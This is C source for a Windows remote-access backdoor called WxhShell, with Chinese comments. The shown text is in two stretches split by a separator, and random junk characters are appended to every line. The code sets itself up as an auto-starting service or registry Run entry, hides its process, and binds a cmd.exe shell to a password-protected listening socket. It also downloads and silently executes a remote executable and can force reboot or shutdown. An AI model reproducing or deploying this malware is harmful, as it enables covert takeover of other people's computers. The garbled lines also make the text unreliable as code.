    if(Boot(SHUTDOWN)) I,!>ZG@6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#(&\g2H  
    else { rD U"l{cg  
    closesocket(wsh); R$VeD1n@  
    ExitThread(0); }F (lffb  
    } +PkN~m`  
    break; \( xQ'AQ-  
    } v7- d+P=  
  // 获取shell @EcY& mP)  
  case 's': { BGVy \F<  
    CmdShell(wsh); &8 4Izs/[  
    closesocket(wsh); [{9&KjI0K  
    ExitThread(0); Q@#Gm9m  
    break; G3t 4$3|  
  } 0B~Q.tyP  
  // 退出 .Dg'MM BM  
  case 'x': { x$tzq+N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g].hL  
    CloseIt(wsh); =;A~$[g  
    break; ~b{j`T  
    } u+uu?.bM  
  // 离开 auQfWO[ u  
  case 'q': { vW4N[ .+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &M^FA=J\  
    closesocket(wsh); f*~z|  
    WSACleanup(); dCM*4B<  
    exit(1); F`YxH*tO7  
    break; Z'z~40Bda  
        } S~ 3|  
  } )Z2t=&Nw  
  } <0I=XsE1iX  
quw:4W>  
  // 提示信息 Li\BRlebR{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1_.#'U>  
} MOW {g\{\  
  } wH[}@w  
- dt<w;>W  
  return; oJTsrc_ -  
} Q CB~x2C  
~j2=hkS  
// shell模块句柄 H@WQO]P A  
int CmdShell(SOCKET sock) QabYkL5@  
{ abM4G  
STARTUPINFO si; Y_<(~eN`  
ZeroMemory(&si,sizeof(si)); bwAL:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; & A<Pf.Us  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;F<)BEXC<  
PROCESS_INFORMATION ProcessInfo; h8_~ OX  
char cmdline[]="cmd"; ' ! ls"qo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rfNt  
  return 0; gJ>HFid_C  
} Af"vSL  
cZ~\jpK  
// 自身启动模式 > ak53Ij$  
int StartFromService(void) u +OfUBrf  
{ v{2 Vg  
typedef struct ^~dvA)bH  
{ +(<}`!9M*  
  DWORD ExitStatus; &Wup 7  
  DWORD PebBaseAddress; ZVek`Cc2  
  DWORD AffinityMask; dO[w3\~  
  DWORD BasePriority; lC i_G3C  
  ULONG UniqueProcessId; oFRb+H(E  
  ULONG InheritedFromUniqueProcessId; +iPS=?S  
}   PROCESS_BASIC_INFORMATION; ~ Qt$)  
~:srm#IX  
PROCNTQSIP NtQueryInformationProcess; "V`MNZ  
{L8(5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vv,(ta@t2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $'Hg}|53  
TGz5t$]I  
  HANDLE             hProcess; ?iBHJ{  
  PROCESS_BASIC_INFORMATION pbi; 2v<[XNX  
<!vAqqljt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U q6..<#  
  if(NULL == hInst ) return 0; n[/|M  
%j=,c{`Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7>m#Y'ppl@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9bT,=b;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T<0Bq"'%  
:q4 Mnr  
  if (!NtQueryInformationProcess) return 0; ;G3{ e  
i4"xvL K4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FB PT@`~v  
  if(!hProcess) return 0; a|\_'#  
!2N#H~{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +:d))r=n  
Om0S^4y]x  
  CloseHandle(hProcess); {hM*h(W~3  
7c6-S@L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }r /L 9  
if(hProcess==NULL) return 0; @]HV:7<q  
|[TH ~ o  
HMODULE hMod; viBf" .  
char procName[255]; d}',Bl+u{$  
unsigned long cbNeeded; /=\__$l)  
!+H=e>Y6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P"u*bqk  
I=^%l7  
  CloseHandle(hProcess); )[)-.{q  
xZmKKKd0*  
if(strstr(procName,"services")) return 1; // 以服务启动 /BVNJNhz  
[:!#F7O-  
  return 0; // 注册表启动 ,9"</\]`  
} <S0!$.Kg*<  
f K^FD&sF  
// 主模块 ki^[~JS>'  
int StartWxhshell(LPSTR lpCmdLine) $(}kau  
{ DD'<zL[  
  SOCKET wsl; W.n@  
BOOL val=TRUE; R< xxwjt  
  int port=0; ^LT9t2  
  struct sockaddr_in door; +.HQ+`8z]  
m= fmf(  
  if(wscfg.ws_autoins) Install(); W9V%Xc`LQ  
AJ:@c7:eS  
port=atoi(lpCmdLine); 2#1FI0,Pa*  
,^o^@SI)   
if(port<=0) port=wscfg.ws_port; p9_45u`u2  
A Sy7")5  
  WSADATA data; zAB-kE\ )  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [;5HI'px  
qg6Hk:^r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,l7ty#j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6aQ{EO-]'=  
  door.sin_family = AF_INET; jO:<"l^+u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 60AX2-sdJ,  
  door.sin_port = htons(port); qm]ljut  
#>ci!4Gz=Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K{>O. 5  
closesocket(wsl); ^"+cJ)  
return 1; AD?^.<  
} dGh<R|U3  
5'V'~Q%  
  if(listen(wsl,2) == INVALID_SOCKET) { r?/>t1Z  
closesocket(wsl); HNjkRl)QR  
return 1; 2 >xV&  
} Gh|1%g"gm  
  Wxhshell(wsl); +S%@/q  
  WSACleanup(); E4y"$U%.  
! 2Y, a  
return 0; l/rhA6kEU  
-R7f/a8  
} R?|_` @@A  
N}F G%a  
// 以NT服务方式启动 !FpMO`m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4 <]QMA0  
{ Cv$TNkP*  
DWORD   status = 0; cS ];?tqrA  
  DWORD   specificError = 0xfffffff; 4N` MY8',  
#2HygS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aeBth{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4VU5}"<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~Nc] `95  
  serviceStatus.dwWin32ExitCode     = 0; "hlIGJ?_=  
  serviceStatus.dwServiceSpecificExitCode = 0; oHi&Z$#!n  
  serviceStatus.dwCheckPoint       = 0; `(o1&  
  serviceStatus.dwWaitHint       = 0; dnIBAe  
g\ *gHHa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P<4jY?.  
  if (hServiceStatusHandle==0) return; R?&S]?H  
6/#= dv  
status = GetLastError(); [Q 2t,tQx  
  if (status!=NO_ERROR) Vj?.'(  
{ Qn*c<:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T. ` %1S  
    serviceStatus.dwCheckPoint       = 0; U5Ho? `<  
    serviceStatus.dwWaitHint       = 0; 5E!|-xD  
    serviceStatus.dwWin32ExitCode     = status; ^jmnE.8R  
    serviceStatus.dwServiceSpecificExitCode = specificError; / V {w<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0U/:Tpyr  
    return; *iC t4J  
  }  B-&J]H  
Cq(Xa-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y6D =tb  
  serviceStatus.dwCheckPoint       = 0; ryn)  
  serviceStatus.dwWaitHint       = 0; [Z5x_.k"I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +.lO8  
} ` chf8  
y6PAXvv'{  
// 处理NT服务事件,比如:启动、停止 o$-8V:)6d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v\MH;DW^Z  
{ Gg.w-&  
switch(fdwControl) v"F0$c  
{ {YGz=5^  
case SERVICE_CONTROL_STOP: ?Y hua9  
  serviceStatus.dwWin32ExitCode = 0; 3mm`8!R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IYQYW.`ly  
  serviceStatus.dwCheckPoint   = 0; ~y|%D;  
  serviceStatus.dwWaitHint     = 0; A|>C3S  
  { q90S>c,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NI^Y%N  
  } lMm-K%(2  
  return; &% *S  
case SERVICE_CONTROL_PAUSE: MW4dPoa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PZ ogN  
  break; 93!a  
case SERVICE_CONTROL_CONTINUE: X  ]a>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .y\HQ^j  
  break; Maa.>2v<  
case SERVICE_CONTROL_INTERROGATE: c~tSt.^WX  
  break; _N-7H\hF  
}; v;RQVH;,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kq S2  
} h ?ia4t  
+I Ze`M%n  
// 标准应用程序主函数 -y\N9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eLC&f}  
{ <#s-hQ  
O?2<rbx  
// 获取操作系统版本 n7MS{`  
OsIsNt=GetOsVer(); Asn0&Ys4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gqia@>T4*N  
W?l .QQk  
  // 从命令行安装 vfbe=)}[  
  if(strpbrk(lpCmdLine,"iI")) Install(); K4F!?#  
~lF lv+,%  
  // 下载执行文件 & 9]KkY=  
if(wscfg.ws_downexe) { t~a$|( 9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .y0]( h  
  WinExec(wscfg.ws_filenam,SW_HIDE); %zelpBu+  
} fgp 7 |;Y  
qA~D*=  
if(!OsIsNt) { 1tr>D:c\  
// 如果时win9x,隐藏进程并且设置为注册表启动 SQ Fey~  
HideProc(); n47=eKd70  
StartWxhshell(lpCmdLine); v]BQIE?R /  
} JyqFFZ&  
else jo|q,t  
  if(StartFromService()) aW6+Up+G*  
  // 以服务方式启动 :U:7iP:  
  StartServiceCtrlDispatcher(DispatchTable); z\E "={P&  
else \=@r1[d  
  // 普通方式启动 RYV6hp)|  
  StartWxhshell(lpCmdLine); >=`c [=:Z_  
4bxkp3~h;  
return 0; Xou#38&p>  
} &Bp\kv  
|be r:1  
R`* *!ku  
#PrV)en  
=========================================== :1lE98=  
XF7W'^  
:HE]P)wz-  
`;_tt_  
f~q&.,I(  
KJ)nGoP>  
" _ <;Q=?'*  
{.lF~cOu  
#include <stdio.h> E&>,B81  
#include <string.h> ommKf[h%i  
#include <windows.h> *QG3Jz  
#include <winsock2.h> YMi(Cyja&  
#include <winsvc.h> }]~}DHYr  
#include <urlmon.h> NqZRS>60v  
$&C(oh$:  
#pragma comment (lib, "Ws2_32.lib") IP'igX  
#pragma comment (lib, "urlmon.lib") @gqw]_W  
`es($7}P_W  
#define MAX_USER   100 // 最大客户端连接数 [[ e| GQ  
#define BUF_SOCK   200 // sock buffer 3opLLf_g  
#define KEY_BUFF   255 // 输入 buffer b66X])+4jE  
pq[mM!;#v  
#define REBOOT     0   // 重启 sv;zvEn;-L  
#define SHUTDOWN   1   // 关机 ZW?7g+P  
UTTC:=F+  
#define DEF_PORT   5000 // 监听端口 FqTkUWd,#  
Wv0'?NL.  
#define REG_LEN     16   // 注册表键长度 SznE:+  
#define SVC_LEN     80   // NT服务名长度 +hg\DqO^M  
Y/S3)o  
// 从dll定义API 2*citB{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 99!{[gOv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3] qlz?5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ib2@Wi   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KCk?)Qv  
S(J\<)b  
// wxhshell配置信息 mei_aN7zW  
struct WSCFG { RGO:p]t|  
  int ws_port;         // 监听端口 A&P1M6Of  
  char ws_passstr[REG_LEN]; // 口令 U  R@BSK'  
  int ws_autoins;       // 安装标记, 1=yes 0=no {}pqxouE  
  char ws_regname[REG_LEN]; // 注册表键名 kppRQ Q*[  
  char ws_svcname[REG_LEN]; // 服务名 +?iM$}8!U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <s-@!8*(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uxemlp%%*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5b#6 Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no * |HZ&}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  j/9QV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {% _j~  
5(|M["KK~  
}; 5FSv"=  
, Ln   
// default Wxhshell configuration u- [t~-(a  
struct WSCFG wscfg={DEF_PORT, Q$)|/Y))  
    "xuhuanlingzhe", $a\Uv0:xRx  
    1, <} yp  
    "Wxhshell", +^kxFQ(:  
    "Wxhshell", ,%h!%nz!  
            "WxhShell Service", R9l7CJM@  
    "Wrsky Windows CmdShell Service", "F"_G  
    "Please Input Your Password: ", EyPJvs  
  1, Z va  
  "http://www.wrsky.com/wxhshell.exe", tin|,jA =  
  "Wxhshell.exe" ;a#*|vx  
    }; *9vA+uN  
ey)u7-O  
// 消息定义模块 9*KMbd ^T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  |.C    
char *msg_ws_prompt="\n\r? for help\n\r#>"; U+;>S$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f9,EWuQNS  
char *msg_ws_ext="\n\rExit."; ^QAiySR`0  
char *msg_ws_end="\n\rQuit."; fhV0S>*<  
char *msg_ws_boot="\n\rReboot..."; z8[H:W#G  
char *msg_ws_poff="\n\rShutdown..."; .H^P2tp  
char *msg_ws_down="\n\rSave to "; `.'i V[fr  
lV<Tsk'  
char *msg_ws_err="\n\rErr!"; 20VVOnDY  
char *msg_ws_ok="\n\rOK!"; yIIETE  
oM<!I0"gC+  
char ExeFile[MAX_PATH]; A*;?U2  
int nUser = 0; cVay=5].  
HANDLE handles[MAX_USER]; -@L's{J{M  
int OsIsNt; ?Hi}nsw  
sc8DY!|OYN  
SERVICE_STATUS       serviceStatus; CofH}-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ns#~}2"d  
_Dj<Eu_  
// 函数声明 zq;DIWPIoJ  
int Install(void); &G/|lv>j  
int Uninstall(void); u<]mv  
int DownloadFile(char *sURL, SOCKET wsh); XocsSs  
int Boot(int flag); Znta#G0  
void HideProc(void); ^IGyuj0]jG  
int GetOsVer(void); %X9b=%'+  
int Wxhshell(SOCKET wsl); NQC3!=pQ}Y  
void TalkWithClient(void *cs); j`R<90~/  
int CmdShell(SOCKET sock); C.>  
int StartFromService(void); i<m$#6 <Z  
int StartWxhshell(LPSTR lpCmdLine); +~d1 ;0l|  
(a `FS,M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x=5P+_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e8WEz 4r_  
kT^*>=1  
// 数据结构和表定义 ku9@&W+  
SERVICE_TABLE_ENTRY DispatchTable[] = nlzW.OLM  
{ \2Og>{"U  
{wscfg.ws_svcname, NTServiceMain}, Xlv#=@;O]  
{NULL, NULL} -\kXH"%  
}; a jQqj.  
efjO8J[uk-  
// 自我安装 .Z=Ce!  
int Install(void) 8geek$FY x  
{ YOV :  
  char svExeFile[MAX_PATH]; st?gA"5w  
  HKEY key; 7qg<[  
  strcpy(svExeFile,ExeFile); [5Fd P0  
>?5xDbRj  
// 如果是win9x系统,修改注册表设为自启动 fw' r.  
if(!OsIsNt) { MBB5wj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r219M)D?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x _==Ss  
  RegCloseKey(key); 8xF)_UV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wp5]Uk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P8wy*JvT  
  RegCloseKey(key); ptpW41t}^  
  return 0; |3{+6cg  
    } f.oP   
  }  {l2N&  
} f=ac I|w  
else { TMJ9~"IO  
)N(9pnyZH  
// 如果是NT以上系统,安装为系统服务 LJGJ|P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r C_d$Jv  
if (schSCManager!=0)  hq<5lE^  
{ TDlZ!$g(  
  SC_HANDLE schService = CreateService !4R>O6k   
  ( 74K)aA  
  schSCManager, X JY5@I.  
  wscfg.ws_svcname, vv+D*e&<  
  wscfg.ws_svcdisp, A&?}w_|9  
  SERVICE_ALL_ACCESS, x;]x_f z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &%^K,Q"  
  SERVICE_AUTO_START, 6eQsoKK  
  SERVICE_ERROR_NORMAL, \M5P+Wk '  
  svExeFile, Lt1U+o[ot  
  NULL, =<{h^-j;a  
  NULL, #{!O,`qD  
  NULL, -(*nSD9  
  NULL, vwKw?Z0%J  
  NULL [O2h- `  
  ); +YTx   
  if (schService!=0) &Y1`?1;nw  
  { uBmxh%]C~  
  CloseServiceHandle(schService); bV@7mmz:X+  
  CloseServiceHandle(schSCManager); Sx8l<X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &p5&=zV}  
  strcat(svExeFile,wscfg.ws_svcname); {j?7d; 'j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RqXi1<6j#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]pnYvXf>!  
  RegCloseKey(key); v ~"Ef_`  
  return 0; k6@b|  
    } J58#$NC `'  
  } o{V#f_o  
  CloseServiceHandle(schSCManager); b M"fk&  
} 2MuO*.9D  
} ga-{!$b*  
tBseqS3<  
return 1; a/~29gW8E\  
}  ="\*h(  
W;q+,Io  
// 自我卸载 Q',m{;;  
int Uninstall(void) EX:{EmaT  
{ W,3zL.qH"  
  HKEY key; o(qEkR:4kd  
c3] C:t+  
if(!OsIsNt) { XLm@etf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I}+;ME|<2  
  RegDeleteValue(key,wscfg.ws_regname); $jG4pPG  
  RegCloseKey(key); b3\B8:XFo|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xP{-19s1]  
  RegDeleteValue(key,wscfg.ws_regname); !h CS#'  
  RegCloseKey(key); UfR~%p>K  
  return 0;  %[`a  
  } 3_W{T@T  
} ]>D)#  
} <F7V=Er  
else { WfG(JJ  
'wZ_4XjD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mc ZGg;3  
if (schSCManager!=0) D{p5/#|r  
{ dQ9 ah  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KCUU#t|8V\  
  if (schService!=0) rB%y6P B  
  { |SQ|qbe=  
  if(DeleteService(schService)!=0) {  H4:ZTl_$  
  CloseServiceHandle(schService); QR"bYQ  
  CloseServiceHandle(schSCManager); W"Q!|#;l.  
  return 0; E-fr}R}  
  } QHzgy?  
  CloseServiceHandle(schService); z(me@P!D~  
  } >)Gd:636+  
  CloseServiceHandle(schSCManager); +`.,| |Mq  
} Ox qguT,  
} \dcdw* v@  
kUa)smh  
return 1; 7Fz xe$A  
} }>}1oUCi  
\}JrFc%O  
// 从指定url下载文件 #Qh>z%Mn^3  
int DownloadFile(char *sURL, SOCKET wsh) dl0FQNz8@B  
{ h^oH^moq<  
  HRESULT hr; AW~"yI<  
char seps[]= "/"; sDC*J \X  
char *token; eA=WGy@IcN  
char *file; YEv Lhh  
char myURL[MAX_PATH]; k_aW  
char myFILE[MAX_PATH]; DM),|Nq"  
c?K~/bx.  
strcpy(myURL,sURL); 40#9]=;}  
  token=strtok(myURL,seps); SEM8`lnu  
  while(token!=NULL) C\Vg{&'  
  { [2 zt ^  
    file=token; 8IGt4UF&?  
  token=strtok(NULL,seps); _1|$P|$P.  
  } /L v1$~  
dMvp&M\\'  
GetCurrentDirectory(MAX_PATH,myFILE); nY_?Jq  
strcat(myFILE, "\\"); VWi2(@R^  
strcat(myFILE, file); !tNd\ }@  
  send(wsh,myFILE,strlen(myFILE),0); T3N"CUk  
send(wsh,"...",3,0); zO~9zlik  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >7b)y  
  if(hr==S_OK) ZFvyL8o  
return 0; mR+Jws'  
else *1A&'T2  
return 1; a#0;==#  
rzeLx Wt  
} /ty?<24ko  
B,vOsa"x6`  
// 系统电源模块 :%X Ls,  
int Boot(int flag) }Qr6 l/2  
{ x83a!9  
  HANDLE hToken; )oU)}asY  
  TOKEN_PRIVILEGES tkp; W5pb;74|  
^Q.,\TL01  
  if(OsIsNt) { {0v*xL_O^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bwiD$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E(^0B(JF  
    tkp.PrivilegeCount = 1; v]"L]/"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KE}H&1PjU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #sB,1"  
if(flag==REBOOT) { 9&Ne+MY^%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d]wD[]  
  return 0; 86qI   
} u\1>gDI)|  
else { H!)=y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1S:|3W  
  return 0; SJ?)%[(T  
} #VGjCEeU  
  } b]Z@^<_E  
  else { aFj.i8+  
if(flag==REBOOT) { 4n0xE[-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /)>S<X  
  return 0; cYNV\b4-  
} lr@#^  
else { 8g~EL{'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q]% T:A=  
  return 0; /rc%O*R  
} 1(#;&:$`i  
} d 8o53a]  
-db75=  
return 1; \3XqHf3|o  
} > m q,}!n  
x/fX`y|(}*  
// win9x进程隐藏模块 ;_?MX/w|&  
void HideProc(void) !>$4]FkV  
{ uJU*")\V  
,!#ccv+Vm%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q<(YP.k  
  if ( hKernel != NULL ) e Y$qV}  
  { Uh6 '$0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1B=>_3_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O(Jj|Z  
    FreeLibrary(hKernel); "3CJUr:Q  
  } (bp9Pjw  
D=r))  
return; Iah[j,]r  
} tt_o$D~kg  
SA"p\}"  
// 获取操作系统版本 <|B1wa:|  
int GetOsVer(void) Q \hY7Xq'  
{ s)J(/  
  OSVERSIONINFO winfo; #qBr/+b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nY%5cJ`"  
  GetVersionEx(&winfo); YB(Gk;]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qdk6Qubi!  
  return 1; v`PY>c6~  
  else *Zk>2<^R  
  return 0; &a0r%L()X  
} g" VMeW^  
R`8@@ }  
// 客户端句柄模块 _fk#<  
int Wxhshell(SOCKET wsl) &53]sFZ  
{ 3VO2,PCZ  
  SOCKET wsh; G6 0S|d  
  struct sockaddr_in client; YwEpy(}hJm  
  DWORD myID; %ysZ5:X  
CY:d`4  
  while(nUser<MAX_USER) ~uWOdm-"[  
{ 13k !'P  
  int nSize=sizeof(client); !^oV #  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kOwMs<1J  
  if(wsh==INVALID_SOCKET) return 1; g=L]S-e  
56lCwXCgA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YY((#"o;l  
if(handles[nUser]==0) D/ybFk  
  closesocket(wsh); [lzN !!B!  
else op2Of<{h  
  nUser++; F9"w6;hh  
  } Ex amD">T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uu s.  
/^SAC%PD  
  return 0; !|hoYU>@2L  
} LkruL_E>  
&)wiKh"$  
// 关闭 socket I=)hWC/  
void CloseIt(SOCKET wsh) 2&mGT&HAVA  
{ 6RO(]5wX  
closesocket(wsh); C$h<Wt=<  
nUser--; *D}0 [|O  
ExitThread(0); BXms;[  
} 6 gL=u-2  
Rk<@?(l!6x  
// 客户端请求句柄 E51dV:l  
void TalkWithClient(void *cs) }_/Hdmmx  
{ 7w :ef0S  
gN8hJG'0  
  SOCKET wsh=(SOCKET)cs; GYxM0~:$k  
  char pwd[SVC_LEN]; 8H,4kY?Z  
  char cmd[KEY_BUFF]; ]B"'}%>ez  
char chr[1]; jdZ~z#`(!:  
int i,j; !)"%),>}o  
RcG0 8p.)  
  while (nUser < MAX_USER) { -H^oXeN  
mYN7kYR}<`  
if(wscfg.ws_passstr) { \J..*,'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9_s6l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =' ZRfb&  
  //ZeroMemory(pwd,KEY_BUFF); )~4II.`%^  
      i=0; Mv 544>:  
  while(i<SVC_LEN) { EC2+`HJ"  
EKEjv|_)  
  // 设置超时 $EZN1\  
  fd_set FdRead; _ nA p6i  
  struct timeval TimeOut; k(>h^  
  FD_ZERO(&FdRead); {e[%;W%c&  
  FD_SET(wsh,&FdRead); FuG4F  
  TimeOut.tv_sec=8; .;y#  
  TimeOut.tv_usec=0; }jt?|dl1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yzw mT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]xC#rwHUC  
Ac2(O6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q5h*`7f  
  pwd=chr[0]; `g8E1-]l  
  if(chr[0]==0xd || chr[0]==0xa) { f0<hE2  
  pwd=0; 2]GdD*  
  break; 1_fZm+oW!  
  } ;{ i'#rn{  
  i++; 0nn okN^  
    } WV3|?,y]qm  
F|Mi{5G%  
  // 如果是非法用户,关闭 socket ZUz ^!d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Re:jVJg Bz  
} 6:GTD$Uz.  
PWh^[Rd)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1c3TN#|)W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >_rha~   
N8qDdr9p?c  
while(1) { )vmA^nU>  
V@>r*7\F  
  ZeroMemory(cmd,KEY_BUFF); GRb*EeT  
NaVQ9ku7VW  
      // 自动支持客户端 telnet标准   F(4?tX T  
  j=0; t*@2OW`!  
  while(j<KEY_BUFF) { rg0m a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sw A+f   
  cmd[j]=chr[0]; Hsih[f  
  if(chr[0]==0xa || chr[0]==0xd) { QK0 h6CX  
  cmd[j]=0; vS\%3A4^+5  
  break; A(?\>X 9g  
  } Z3>N<u8)  
  j++; a#mNE*Dg  
    } h\plQ[T  
8N:owK  
  // 下载文件 &_JD)mM5  
  if(strstr(cmd,"http://")) { CkJCi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7.DtdyM  
  if(DownloadFile(cmd,wsh)) VrZ>bma;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "UEv&mQ  
  else 9lB]~,z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GN KF&M  
  } (`SRJ$~f  
  else { | 8qBm  
b-3*Nl_%  
    switch(cmd[0]) { &/Ro lIHF  
  >iS`pb  
  // 帮助 Yvn\x ph3  
  case '?': { +C1QY'>I  
